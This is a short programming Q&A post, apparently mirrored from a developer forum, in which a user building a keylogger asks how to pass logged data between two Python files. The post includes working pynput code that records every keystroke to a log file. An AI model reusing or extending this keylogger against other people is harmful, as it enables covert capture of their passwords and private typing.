简体   繁体   中英

Send data from one python file to another

I have two python files k.py & key.py

I'm creating a keylogger & the code is in k.py

k.py code

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename = ("key.py"), level=logging.DEBUG, format='%(message)s')
def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

I'm sending this to key.py , So my question is how can i recieve the data from k.py & store it into a variable

key.py

from k import *
 
# calling functions
# new use this funcation
on_press()

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM